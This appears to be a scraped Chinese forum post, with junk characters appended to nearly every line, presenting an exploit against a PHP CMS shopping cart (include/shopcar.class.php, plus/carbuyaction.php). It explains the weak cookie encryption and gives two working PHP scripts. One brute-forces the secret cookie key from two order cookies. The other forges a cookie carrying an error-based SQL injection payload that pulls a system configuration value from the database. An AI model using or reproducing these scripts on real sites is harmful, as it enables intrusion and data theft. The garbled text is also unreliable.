www.xxx.com/plus/search.php?keyword=: H4 f4 u8 B+ {: E/ x( o n0 \9 x
在 include/shopcar.class.php中+ P7 E. F6 Q0 S3 _" d/ A9 H& j
先看一下这个shopcar类是如何生成cookie的; U1 Y) J) _/ c$ M3 r
239 function saveCookie($key,$value)
' p4 _9 U' a% c9 B8 n* p& }5 b+ ?; g240 {4 j8 a: Z8 I- C8 z+ J+ M ~$ l
241 if(is_array($value))
2 h! S+ w& P( q6 g6 _8 [9 k! m242 {
j& s9 @9 |# r4 \; L- A243 $value = $this->enCrypt($this->enCode($value));
: [% B6 s) D. r/ b( n7 o. A244 }6 W7 k. |. i& ~$ _8 v1 @1 q) u v
245 else: \% H" F+ c( D2 S5 p1 Y5 Q# W
246 {: ~" L7 |& Y, Q |. b* f
247 $value = $this->enCrypt($value);2 a7 T/ Z5 N/ [4 }5 r
248 }' U, U( `! {, R& ~8 r, l
249 setcookie($key,$value,time()+36000,’/');
% q S$ r* B, a" W) ]' U% M250 }
7 ?0 t1 h% q3 {7 ?# k' u简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
" R: M' X6 a$ _$ ]/ M( Z% O+ o186 function enCrypt($txt)' r$ Y2 f* F1 H& }/ k0 n6 j
187 {* }, w, y0 w t' z V
188 srand((double)microtime() * 1000000);
8 O5 O3 u8 u+ X# P' v# @& D( @8 b189 $encrypt_key = md5(rand(0, 32000));
) y0 X: K7 |1 \. A) B190 $ctr = 0;9 N$ J8 ]7 I: @
191 $tmp = ”;% z- ?% {5 u, a1 [$ L/ w$ ?7 T2 w
192 for($i = 0; $i < strlen($txt); $i++)
, m# G2 h3 ], I193 {
( R0 _2 I! H( X194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;9 A8 ?- V) {" } F: }6 |/ k
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);5 ?; X# l$ T3 o5 G
196 }
* k, z7 z8 R( R% ?" b197 return base64_encode($this->setKey($tmp));) p8 a3 Q- r' k- f
198 }& m3 p: X$ T- ^( C& m
213 function setKey($txt)
5 h& v; m' b* w8 o1 y" a! L214 {
& v! x, N D, q: o' d: ~5 [& A+ b215 global $cfg_cookie_encode;
8 |. g' X0 Z, J e: y8 J216 $encrypt_key = md5(strtolower($cfg_cookie_encode)); r+ U) q( l1 S; V
217 $ctr = 0;
; N$ d+ n6 E5 |) `* N218 $tmp = ”;# @) ?; x8 o4 ~6 q' ~! j
219 for($i = 0; $i < strlen($txt); $i++)
% e* [1 ?' D6 e) p1 J220 {
) E7 y* Q* X2 B' V8 ~221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 z7 V$ h! D& q4 d) \+ s222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ g9 ] T2 Y. [% ~223 }4 q4 J4 S, ~4 w: P4 C4 P
224 return $tmp;
; f7 y6 C3 `, c" O0 L225 }2 C. B3 S% H( J8 X/ [
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的( F6 q7 J2 b( w
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
( j1 A8 L& ?; X5 x具体代码如下:: y' j9 T4 [5 K* D1 M/ X
<?php0 M8 z! D) f% R0 X, s# R! ?* J
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
/ [* ?/ u3 e7 s0 W* g% p$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here) j1 Z- y. W- m( c' V' I: ?& [
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here% Z& p. n7 U8 g
function reStrCode($code,$string)
8 G1 e1 q" X+ u' f% b{
/ S! L* ~3 @$ O$ G/ ~: ?$code = base64_decode($code);2 d9 m" ?% I$ I" R
$key = “”;7 A% v3 r/ x/ H2 i! G
for($i=0 ; $i<32 ; $i++)
' ]# ~& K+ z' m. u& y8 T" m% S{
- M1 ]5 y$ [& J/ L1 r$key .= $string[$i] ^ $code[$i];
# B! n6 Z% ^* S}
. \, ^. B, ^% x) O0 a4 I) Treturn $key;
" b9 n) Q( Q5 J5 ~% z! L9 w}# W8 n1 p+ z* N
function getKeys($cookie,$plantxt)
) c" i1 C$ ^1 a2 C% e3 F) S6 y{% q6 } T3 n, x/ Y, e+ u
$tmp = $cookie;
# K; B/ }( R6 y$results = array();; x: C2 ?2 T+ l. O& [3 O# B4 [
for($j=0 ; $j < 32000; $j++). E$ r! U& q' m" m% @- j2 H
{
6 o9 K, Z* K {5 ^3 E+ e) `# [6 G2 d
( v0 n/ n& Y1 _ b& Z$txt = $plantxt;( A9 ~2 c; e/ |8 c* r
$ctr = 0;
; m3 \9 I; I. Q4 E. P* P$ k: C& O$tmp = ”; E. X/ ?/ W; y6 ?4 Z/ b
$encrypt_key = md5($j);
" D, ?" P3 }9 h% o3 L6 n& ^for($i =0; $i < strlen($txt); $i ++)
! R: p4 J. o0 |0 M' j{% F r W2 T0 f! l$ l' p
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ f2 \; g) w& H$ J$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);; S" Q K4 l/ z8 H3 f; F/ I
} P% Q0 M1 r& `7 q6 L8 F! G% \
$string = $tmp;
9 c7 {0 t0 \2 W0 t$code = $cookie;
7 J$ r$ F- c& N' |( a3 }$result = reStrCode($code,$string);7 R2 t" h3 G/ s* `2 I7 e
if(eregi(‘^[a-z0-9]+$’,$result))# r4 P, P1 F- }/ l# x0 v2 ?) Q$ L
{
. U0 P" y F! A( Z* ^- V. B* fecho $result.”\n”;
0 t! Z7 y: _) H3 t. D$results[] = $result;, }! r o7 i' I
}
' Q6 q* `7 Y- L% H}
3 E: _% t* }1 Q1 p+ _return $results;. @% z2 z! m( B; M* U1 s3 y6 w: \
}
, n8 u9 u& A5 A5 V1 S+ ]6 d$results1 = getKeys($cookie1,$plantxt);5 V3 r8 ~8 z: k& S+ i! q
$results2 = getKeys($cookie2,$plantxt);
7 L' `( ^$ @) o0 }5 ~2 t% b" Mprint “\n——————–real key————————–\n”;
r% Y( Z `4 d* l6 k M- h% iforeach($results1 as $test1)
+ L7 S- }2 @! L' H# O9 f3 }: A{+ R# ~) j# I& Z! @' `8 d B& X
foreach($results2 as $test2)9 V7 ^: b* m: ~% S/ Z; G: s
{
0 W+ F9 }0 o" J6 y' l9 F! @if($test1 == $test2)% R; ]% A6 ^. N2 T4 [) h$ F
{$ M- q& l( b$ J9 G1 ]. ^
echo $test1.”\n”;
7 ~6 W' @- J# ?) S}
0 ]# L8 {/ |6 V$ Q0 \}
. C% @( I+ R* T/ V9 x3 u/ D; T. d* W}- @! Z3 n' F/ ^- R* @# s
?>
3 g# r1 Q$ d& s, w4 ?: Dcookie1 和 cookie2 是我下了两次订单后分别生成的cookie, e. y/ J6 v7 I
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
5 A- {7 n9 ]1 R+ ^然后推算出md5(strtolower($cfg_cookie_encode)); H! ^$ ~0 k+ @7 {- m- U
得到这个key之后,我们就可以构造任意购物车的cookie
5 ]- g% e" c# o# V9 c; o1 M接着看) o1 O, [) Q; {
20 class MemberShops$ s$ O9 d7 M% x% H, n! K; H1 q0 a
21 {
) l" H: G! X0 ^: v% @22 var $OrdersId;
( U% z; o0 \8 n G! Z23 var $productsId;
9 \; Z' ]% `# \9 Z# V. E1 I/ z24. R7 x( b! w: ?
25 function __construct()4 u1 O' i6 o: p
26 {6 `: s) E& o2 s
27 $this->OrdersId = $this->getCookie(“OrdersId”);# @6 i+ ~/ H! {7 W4 B% \1 S, A; k, z8 F% U
28 if(empty($this->OrdersId))
& A' Q: V! I" G9 I+ y! f+ ^29 {
5 f. G; @4 r: [9 o30 $this->OrdersId = $this->MakeOrders();! T5 r3 E% h( y0 l* ^' F0 ?
31 }$ c4 j* M. I% s' ~' o. X
32 }
# A7 o1 X, Q: V1 M0 r/ G% F8 o1 h发现OrderId是从cookie里面获取的" ^1 u+ ^: e# o
然后
0 a; U3 X9 k' f8 d/plus/carbuyaction.php中的
) }' N; | I1 v: o2 b29 $cart = new MemberShops();9 e; T. w( N) N
39 $OrdersId = $cart->OrdersId; //本次记录的订单号5 R7 w6 }) W1 S; ?1 l$ _6 ]4 Q2 X
……
( v2 m0 f9 g$ f4 r5 R) @6 x173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
O1 V& ?( K! J8 G6 D0 y接着我们就可以注入了% p2 h' c4 M! Z4 L8 b; {
通过利用下面代码生成cookie:5 A+ C) d7 N7 F* g* i3 w1 c6 B, \
<?php T4 U- z3 w. M! s$ k4 J
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;# p& ]& B4 o) x% A6 M
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here' ~* `( ^. N1 x, Y: g
function setKey($txt)5 b& i. q) B9 H/ j( V
{3 g6 d V8 q5 ? f. y
global $encrypt_key;( H" a) k( p6 ^1 G
$ctr = 0;
9 \& S- g }7 F3 m: @: l$tmp = ”;
+ ^2 _8 L6 Z! Afor($i = 0; $i < strlen($txt); $i++)
5 s) ?. I: |& Q+ X& g$ y4 t{
6 h- ]: b' ^/ u' r( G$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" l5 n$ c9 l& D$ u& I+ L9 T+ N$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
) ?1 ]+ ^. r2 [8 J! j6 J9 J}( K$ z' Z1 \! z9 {2 l) s
return $tmp;
2 H. p9 r" P! w; P! b& I' `) W" T}
7 A1 [$ `) S5 ^function enCrypt($txt)
9 i+ c: j/ c5 X: g m{
9 B% ^. }9 e. l* d( b; \. msrand((double)microtime() * 1000000);2 i5 r% i9 W$ O
$encrypt_key = md5(rand(0, 32000));+ |! y; r1 c9 F
$ctr = 0;2 {0 i4 V- r. @. k# o
$tmp = ”;. I+ s4 ^# O' z: ?" g0 c Q5 k
for($i = 0; $i < strlen($txt); $i++)
7 R5 ]# u/ r7 g6 L8 V8 V{0 h- F4 U3 T' E9 V4 U) Y1 |6 W# b
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;' M3 P' H$ X. b- _8 ]
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
& X6 `5 O* v' S}
8 m/ b( V' A. b$ d0 wreturn base64_encode(setKey($tmp));
$ Q. j% [+ I. M9 n" M}
M) @# e3 k0 {for($dest =0;$dest = enCrypt($txt);)
7 Y% d, I4 t$ }* \% `1 a& f; h{( S+ n4 L. ]- M, y8 G
if(!strpos($dest,’+'))- V6 N3 N% @9 B% G
{
: V$ ?. u- t, T, Hbreak;
$ X. }& U( p: B}
7 D! L' f: p2 c0 w4 j# T}6 x1 J' r5 |/ _
echo $dest.”\n”;
- X% Y! u# P9 E4 |4 t/ |/ u?>
1 \! {3 W& E/ J
% B. U3 H5 @& V6 E |